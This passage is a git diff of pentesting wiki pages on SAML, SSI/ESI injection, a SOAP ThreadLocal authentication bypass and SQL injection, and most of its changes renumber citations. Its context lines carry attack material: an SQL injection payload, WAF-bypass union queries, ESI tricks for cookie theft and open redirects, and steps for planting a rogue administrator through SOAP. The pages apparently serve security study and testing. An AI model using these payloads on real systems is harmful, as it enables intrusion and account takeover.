+[From this research](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):[[9]](#references)
The [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) tool was used to analyze subdomains of `uberinternal.com` for domains utilizing the same library. Subsequently, a script was developed to target the `oidauth/prompt` page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it's reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.
@@ -316,7 +340,7 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList:
## RelayState-based header/body injection to rXSS
-Some SAML SSO endpoints decode `RelayState` and then reflect it into the response without sanitization. If you can inject newlines and override the response `Content-Type`, you can force the browser to render attacker-controlled HTML, achieving reflected XSS.[[7]](#references)
+Some SAML SSO endpoints decode `RelayState` and then reflect it into the response without sanitization. If you can inject newlines and override the response `Content-Type`, you can force the browser to render attacker-controlled HTML, achieving reflected XSS.[[10]](#references)
- Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in [CRLF injection](../crlf-0d-0a.md).
- Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.
@@ -373,7 +397,7 @@ Why it works: the server decodes `RelayState` and incorporates it into the respo
## Unterminated / unquoted SAML attribute overread (IdP parser bugs)
-Some SAML IdP implementations use **custom XML parsers** for `AuthnRequest` attributes and try to recover from malformed XML instead of rejecting it. A recurring bug class is that **quoted** attribute values stop correctly, but the **error-recovery path for unquoted values** only stops on a literal space, `>` or `NUL`. That lets attackers make the parser **over-consume later XML** and, in the worst case, **read past the request buffer**.[[1]](#references)[[2]](#references)
+Some SAML IdP implementations use **custom XML parsers** for `AuthnRequest` attributes and try to recover from malformed XML instead of rejecting it. A recurring bug class is that **quoted** attribute values stop correctly, but the **error-recovery path for unquoted values** only stops on a literal space, `>` or `NUL`. That lets attackers make the parser **over-consume later XML** and, in the worst case, **read past the request buffer**.[[11]](#references)[[12]](#references)
This is especially interesting when the parsed fields are later **reflected** into:
@@ -458,18 +482,20 @@ The same parser weakness that gives an overread can also crash the SAML processi
## References
-- [1] [CitrixBleed To Infinity And Beyond: Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451](https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/)
-- [2] [watchTowr-vs-Netscaler-CVE-2026-8451](https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451)
-- [3] [How to test SAML: a methodology (part one)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
-- [4] [How to test SAML: a methodology (part two)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
-- [5] [How to test SAML: a methodology (part three)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
-- [6] [How I discovered XSS that affects over 20 Uber subdomains](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
-- [7] [Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/)
-- [8] [HTB: Barrier](https://0xdf.gitlab.io/2026/03/03/htb-barrier.html)
-- [9] [CVE-2024-45409 PoC (Synacktiv)](https://github.com/synacktiv/CVE-2024-45409)
-- [10] [Ruby-SAML signature verification bypass advisory (GHSA-jw9c-mfg7-9rx2)](https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2)
-- [11] [Securing XML implementations across the web](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
-- [12] [SAML is insecure by design](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
-- [13] [On Breaking SAML: Be Whoever You Want to Be (USENIX Security 2012)](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
+- [1] [Securing XML implementations across the web](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
+- [2] [SAML is insecure by design](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
+- [3] [How to Test SAML: A Methodology (Part Two)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
+- [4] [On Breaking SAML: Be Whoever You Want to Be](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
+- [5] [ruby-saml Security Advisory GHSA-jw9c-mfg7-9rx2 (CVE-2024-45409)](https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2)
+- [6] [HTB: Barrier](https://0xdf.gitlab.io/2026/03/03/htb-barrier.html)
+- [7] [synacktiv/CVE-2024-45409 PoC](https://github.com/synacktiv/CVE-2024-45409)
+- [8] [How to Test SAML: A Methodology (Part Three)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
+- [9] [How I discovered XSS that affects over 20 Uber subdomains](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
+- [10] [Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/)
+- [11] [CitrixBleed To Infinity And Beyond: Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451](https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/)
+- [12] [watchTowr-vs-Netscaler-CVE-2026-8451](https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451)
+- [13] [Pwn2Own Ireland 2025: Bypassing Authentication via Synology DS925+ SAML SSO](https://chanzep.github.io/posts/pwn2own-ireland-2025-bypassing-authentication-via-synology-ds925-saml-sso)
+- [14] [How to test SAML: a methodology (part one)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
+- [15] [youtube.com - Watch](https://www.youtube.com/watch?v=WHn-6xHL7mI)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/saml-attacks/saml-basics.md b/src/pentesting-web/saml-attacks/saml-basics.md
index c08d27d921a..e880822ffed 100644
--- a/src/pentesting-web/saml-attacks/saml-basics.md
+++ b/src/pentesting-web/saml-attacks/saml-basics.md
@@ -55,11 +55,11 @@ Key elements of this request include:
- **ProtocolBinding**: Defines the transmission method of SAML protocol messages.
- **saml:Issuer**: Identifies the entity that initiated the request.
-Following the SAML Request generation, the SP responds with a **302 redirect**, directing the browser to the IdP with the SAML Request encoded in the HTTP response's **Location** header. The **RelayState** parameter maintains the state information throughout the transaction, ensuring the SP recognizes the initial resource request upon receiving the SAML Response. The **SAMLRequest** parameter is a compressed and encoded version of the raw XML snippet, utilizing Deflate compression and base64 encoding.
+Following the SAML Request generation, the SP responds with a **302 redirect**, directing the browser to the IdP with the SAML Request encoded in the HTTP response's **Location** header. The **RelayState** parameter maintains the state information throughout the transaction, ensuring the SP recognizes the initial resource request upon receiving the SAML Response. The **SAMLRequest** parameter is a compressed and encoded version of the raw XML snippet, utilizing Deflate compression and base64 encoding.[[1]](#references)
## SAML Response Example
-You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). The key components of the response include:
+You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). The key components of the response include:[[1]](#references)
- **ds:Signature**: This section, an XML Signature, ensures the integrity and authenticity of the issuer of the assertion. The SAML response in the example contains two `ds:Signature` elements, one for the message and the other for the assertion.
- **saml:Assertion**: This part holds information about the user's identity and possibly other attributes.
@@ -71,11 +71,11 @@ You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/
Following the SAML Response, the process includes a 302 redirect from the IdP. This leads to a POST request to the Service Provider's Assertion Consumer Service (ACS) URL. The POST request includes `RelayState` and `SAMLResponse` parameters. The ACS is responsible for processing and validating the SAML Response.
-After the POST request is received and the SAML Response is validated, access is granted to the protected resource initially requested by the user. This is illustrated with a `GET` request to the `/secure/` endpoint and a `200 OK` response, indicating successful access to the resource.
+After the POST request is received and the SAML Response is validated, access is granted to the protected resource initially requested by the user. This is illustrated with a `GET` request to the `/secure/` endpoint and a `200 OK` response, indicating successful access to the resource.[[1]](#references)
## XML Signatures
-XML Signatures are versatile, capable of signing an entire XML tree or specific elements within it. They can be applied to any XML Object, not just Response elements. Below are the key types of XML Signatures:
+XML Signatures are versatile, capable of signing an entire XML tree or specific elements within it. They can be applied to any XML Object, not just Response elements. Below are the key types of XML Signatures:[[1]](#references)
### Basic Structure of XML Signature
@@ -164,9 +164,7 @@ In conclusion, XML Signatures provide flexible ways to secure XML documents, wit
## References
-- [1] [How to test SAML: a methodology (part one)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
+- [1] [How to test SAML: a methodology](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
index 5e82f3719c1..8da593ff5b3 100644
--- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
+++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
@@ -4,7 +4,7 @@
## Server Side Inclusion Basic Information
-**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
+**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**[[1]](#references)
SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\
For example, you might place a directive into an existing HTML page, such as:
@@ -17,7 +17,7 @@ And, when the page is served, this fragment will be evaluated and replaced with
The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution.
-You can infer the presence of SSI if the web application uses files with the extensions**`.shtml`, `.shtm` or `.stm`**, but it's not only the case.
+You can infer the presence of SSI if the web application uses files with the extensions**`.shtml`, `.shtm` or `.stm`**, but it's not only the case.[[1]](#references)
A typical SSI expression has the following format:
@@ -97,7 +97,7 @@ hello
### ESI exploitation
-[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:[[1]](#references)
+[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:[[2]](#references)
- **Includes**: Supports the `` directive
- **Vars**: Supports the `` directive. Useful for bypassing XSS Filters
@@ -141,7 +141,7 @@ Use to bypass WAFs:
```
-- Steal cookie HTTP_ONLY with XSS by reflecting it in the response:
+- Steal cookie HTTP_ONLY with XSS by reflecting it in the response:[[4]](#references)
```bash
# This will reflect the cookies in the response
@@ -168,7 +168,7 @@ Do not confuse this with a "Local File Inclusion":
#### Open Redirect
-The following will add a `Location` header to the response
+The following will add a `Location` header to the response[[4]](#references)
```bash
@@ -176,7 +176,7 @@ The following will add a `Location` header to the response
#### Add Header
-- Add header in forced request
+- Add header in forced request[[3]](#references)
```xml
@@ -184,7 +184,7 @@ The following will add a `Location` header to the response
```
-- Add header in response (useful to bypass "Content-Type: text/json" in a response with XSS)
+- Add header in response (useful to bypass "Content-Type: text/json" in a response with XSS)[[4]](#references)
```bash
@@ -213,7 +213,7 @@ This will send debug information included in the response:
### ESI + XSLT = XXE
-It's possible to use **`eXtensible Stylesheet Language Transformations (XSLT)`** syntax in ESI just by indicating the param **`dca`** value as **`xslt`**. Which might allow to abuse **XSLT** to create and abuse a XML External Entity vulnerability (XXE):
+It's possible to use **`eXtensible Stylesheet Language Transformations (XSLT)`** syntax in ESI just by indicating the param **`dca`** value as **`xslt`**. Which might allow to abuse **XSLT** to create and abuse a XML External Entity vulnerability (XXE):[[3]](#references)
```xml
@@ -243,8 +243,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
## References
-- [1] [Beyond XSS: Edge Side Include Injection](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
-- [2] [ESI Injection Part 2: Abusing specific implementations](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
-- [3] [Exploring the World of ESI Injection](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
+- [1] [Apache HTTP Server Tutorial: Server Side Includes](https://httpd.apache.org/docs/current/howto/ssi.html)
+- [2] [Beyond XSS: Edge Side Include Injection](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
+- [3] [ESI Injection Part 2: Abusing specific implementations](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
+- [4] [Exploring the World of ESI Injection](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md b/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md
index 7e5231b469e..2d66c045773 100644
--- a/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md
+++ b/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md
@@ -6,12 +6,12 @@
- Some middleware chains store the authenticated `Subject`/`Principal` inside a static `ThreadLocal` and only refresh it when a proprietary SOAP header arrives.
- Because WebLogic/JBoss/GlassFish recycle worker threads, dropping that header causes the last privileged `Subject` processed by the thread to be silently reused.
-- Hammer the vulnerable endpoint with header-less but well-formed SOAP bodies until a reused thread grants you the stolen administrator context.
-- 2025 HID ActivID/IASP (HID-PSA-2025-002) is a real-world instance: JAX-WS handler caches a `SubjectHolder` `ThreadLocal`, letting unauthenticated SOAP calls inherit the identity set by previous console/SSP requests.[[1]](#references)
+- Hammer the vulnerable endpoint with header-less but well-formed SOAP bodies until a reused thread grants you the stolen administrator context.[[3]](#references)
+- 2025 HID ActivID/IASP (HID-PSA-2025-002) is a real-world instance: JAX-WS handler caches a `SubjectHolder` `ThreadLocal`, letting unauthenticated SOAP calls inherit the identity set by previous console/SSP requests.[[1]](#references)[[2]](#references)
## Root Cause
-Handlers similar to the following only overwrite the thread-local identity when the custom header is present, so the previous request's context survives:
+Handlers similar to the following only overwrite the thread-local identity when the custom header is present, so the previous request's context survives:[[3]](#references)
```java
public boolean handleMessage(SOAPMessageContext ctx) {
@@ -30,14 +30,14 @@ public boolean handleMessage(SOAPMessageContext ctx) {
1. Enumerate the reverse proxy / routing rules to locate hidden SOAP trees that may block `?wsdl` yet accept POSTs (map them alongside the flow in [80,443 - Pentesting Web Methodology](../network-services-pentesting/pentesting-web/README.md)).
2. Unpack the EAR/WAR/EJB artifacts (`unzip *.ear`) and inspect `application.xml`, `web.xml`, `@WebService` annotations, and handler chains (e.g., `LoginHandlerChain.xml`) to uncover the handler class, SOAP header QName, and the backing EJB names.
-3. If metadata is missing, brute-force likely `ServiceName?wsdl` paths or temporarily relax lab proxies, then import any recovered WSDL into tooling such as [Burp Suite Wsdler](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f) to generate baseline envelopes.
+3. If metadata is missing, brute-force likely `ServiceName?wsdl` paths or temporarily relax lab proxies, then import any recovered WSDL into tooling such as [Burp Suite Wsdler](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f) to generate baseline envelopes.[[4]](#references)
4. Review the handler sources for `ThreadLocal` keepers (e.g., `SubjectHolder.setSubject()`) that are never cleared when the authentication header is missing or malformed.
## Exploitation
1. Send a valid request **with** the proprietary header to learn the normal response codes and any error used for invalid tokens.
2. Resend the same SOAP body while omitting the header. Keep the XML well-formed and respect the required namespaces so the handler exits cleanly.
-3. Loop the request; when it lands on a thread that previously executed a privileged action, the reused `Subject` unlocks protected operations such as user or credential managers.
+3. Loop the request; when it lands on a thread that previously executed a privileged action, the reused `Subject` unlocks protected operations such as user or credential managers.[[3]](#references)
```http
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
@@ -58,7 +58,7 @@ Content-Type: text/xml;charset=UTF-8
### 2025 HID ActivID/IASP case study (HID-PSA-2025-002)
-- Synacktiv showed the JAX-WS `LoginHandler` in ActivID 8.6–8.7 sets `SubjectHolder.subject` when a `mySubjectHeader` SOAP header is present or when console/SSP traffic authenticates, but never clears it when the header is absent.[[1]](#references)[[3]](#references)
+- Synacktiv showed the JAX-WS `LoginHandler` in ActivID 8.6–8.7 sets `SubjectHolder.subject` when a `mySubjectHeader` SOAP header is present or when console/SSP traffic authenticates, but never clears it when the header is absent.[[1]](#references)[[2]](#references)
- Any subsequent SOAP call lacking the header on the same worker thread inherits that cached `Subject`, allowing unauthenticated creation of administrator users or credential import via endpoints such as `UserManager` or `CredentialManager`.
- Reliable exploitation pattern observed:
1. Trigger an authenticated context on many threads (e.g., spam `/ssp` or log into `/aiconsole` as admin in another browser tab).
@@ -67,12 +67,12 @@ Content-Type: text/xml;charset=UTF-8
- Handler and process flow highlights:
- `LoginHandlerChain.xml` → `LoginHandler.handleMessage()` unmarshals `mySubjectHeader` and stores the `Subject` in `SubjectHolder` (a static `ThreadLocal`).
- `ProcessManager.triggerProcess()` later injects `SubjectHolder.getSubject()` into business processes, so missing headers leave stale identities intact.
-- In-field PoC from the advisory uses two-step SOAP abuse: first `getUsers` to leak info, then `createUser` + `importCredential` to plant a rogue admin when the privileged thread hits.[[1]](#references)[[3]](#references)
+- In-field PoC from the advisory uses two-step SOAP abuse: first `getUsers` to leak info, then `createUser` + `importCredential` to plant a rogue admin when the privileged thread hits.
## Validating the Bug
-- Attach JDWP (`-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n`) or similar debugging hooks to watch the `ThreadLocal` contents before and after each call, confirming that an unauthenticated request inherited a prior administrator `Subject`.
-- In production appliances you can also instrument with JFR or BTrace to dump `SubjectHolder.getSubject()` per request, verifying header-less reuse.
+- Attach JDWP (`-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n`) or similar debugging hooks to watch the `ThreadLocal` contents before and after each call, confirming that an unauthenticated request inherited a prior administrator `Subject`.[[3]](#references)
+- In production appliances you can also instrument with JFR or BTrace to dump `SubjectHolder.getSubject()` per request, verifying header-less reuse.[[1]](#references)[[2]](#references)
## References
diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md
index 2a93676ef55..5ca8d0c9eed 100644
--- a/src/pentesting-web/sql-injection/README.md
+++ b/src/pentesting-web/sql-injection/README.md
@@ -191,7 +191,7 @@ In some cases the **sleep functions won't be allowed**. Then, instead of using t
### Identifying Back-end
-The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
+The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):[[1]](#references)
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
@@ -298,7 +298,7 @@ This can be accomplished through the use of blind injection techniques alongside
Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.
-For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).[[4]](#references)
+For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).[[2]](#references)
## Exploiting Error based
@@ -368,7 +368,7 @@ We have already discussed all the ways to exploit a SQL Injection vulnerability.
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/index.html)
-Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
+Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)[[1]](#references)
## Authentication bypass
@@ -450,9 +450,9 @@ If the database is vulnerable and the max number of chars for username is for ex
The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked).
-More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
+More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)[[3]](#references)[[4]](#references)
-_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
+_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)[[5]](#references)
### MySQL Insert time based checking
@@ -522,7 +522,7 @@ Using **hex** and **replace** (and **substr**):
## Routed SQL injection
-Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))[[5]](#references)
+Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))[[6]](#references)
Example:
@@ -533,7 +533,7 @@ Example:
## WAF Bypass
-[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
+[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)[[7]](#references)
### No spaces bypass
@@ -592,7 +592,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
### Scientific Notation WAF bypass
-You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).[[6]](#references)\
+You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).[[8]](#references)\
Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
```
@@ -619,11 +619,11 @@ Or using a **comma bypass**:
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
-This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)[[7]](#references)
+This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)[[9]](#references)
### Column/tablename injection in SELECT list via subqueries
-If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers.[[1]](#references) A common vulnerable pattern is:
+If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers. A common vulnerable pattern is:[[10]](#references)
```php
// Pseudocode
@@ -655,7 +655,7 @@ Mitigations:
### SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
-Some frameworks **convert structured filter ASTs into raw SQL boolean fragments** (e.g., metadata filters or JSON predicates) and then **string-concatenate** those fragments into larger queries. If the converter **wraps string values as `'%s'` without escaping**, a single quote in user input terminates the literal and the rest is parsed as SQL.
+Some frameworks **convert structured filter ASTs into raw SQL boolean fragments** (e.g., metadata filters or JSON predicates) and then **string-concatenate** those fragments into larger queries. If the converter **wraps string values as `'%s'` without escaping**, a single quote in user input terminates the literal and the rest is parsed as SQL.[[11]](#references)
Example pattern (conceptual):
@@ -663,7 +663,7 @@ Example pattern (conceptual):
JSON_VALUE(metadata, '$.department') = ''
```
-Payload (URL-encoded): `%27%20OR%20%271%27%3D%271` → decoded: `' OR '1'='1` → predicate becomes:[[2]](#references)
+Payload (URL-encoded): `%27%20OR%20%271%27%3D%271` → decoded: `' OR '1'='1` → predicate becomes:
```sql
JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
@@ -671,7 +671,7 @@ JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
### ORDER BY / identifier-based SQLi (PDO limitation)
-Prepared statements **cannot bind identifiers** (column or table names). A common unsafe pattern is to take a user-controlled `sort` parameter and build `ORDER BY` using string concatenation, sometimes wrapping the input in backticks to “sanitize” it. This still enables SQLi because the identifier context is attacker-controlled.[[3]](#references)
+Prepared statements **cannot bind identifiers** (column or table names). A common unsafe pattern is to take a user-controlled `sort` parameter and build `ORDER BY` using string concatenation, sometimes wrapping the input in backticks to “sanitize” it. This still enables SQLi because the identifier context is attacker-controlled.[[12]](#references)
Vulnerable pattern:
@@ -698,7 +698,7 @@ https://github.com/m4ll0k/Atlas
## Other Guides
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
+- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)[[1]](#references)
## Brute-Force Detection List
@@ -709,12 +709,17 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
## References
-- [1] [Vtenext 25.02: A three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
-- [2] [CVE-2026-22730: SQL Injection in Spring AI's MariaDB Vector Store](https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/)
-- [3] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
-- [4] [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)
-- [5] [Routed SQL Injection - Zenodermus Javanicus](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)
-- [6] [A scientific notation bug in MySQL left AWS WAF clients vulnerable to SQL injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)
-- [7] [33C3 CTF writeup: shia](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
+- [1] [PayloadsAllTheThings – SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
+- [2] [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)
+- [3] [SQL Truncation Attack (Lucideus)](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html)
+- [4] [SQL Truncation Attack (InfoSec Institute)](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
+- [5] [SQL Truncation Attack - updated behavior on modern MySQL](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
+- [6] [Routed SQL Injection (paper)](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)
+- [7] [WAF Bypass cheat sheet - PayLoadAllTheThings (Ne3o1 fork)](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
+- [8] [A scientific notation bug in MySQL left AWS WAF clients vulnerable to SQL injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)
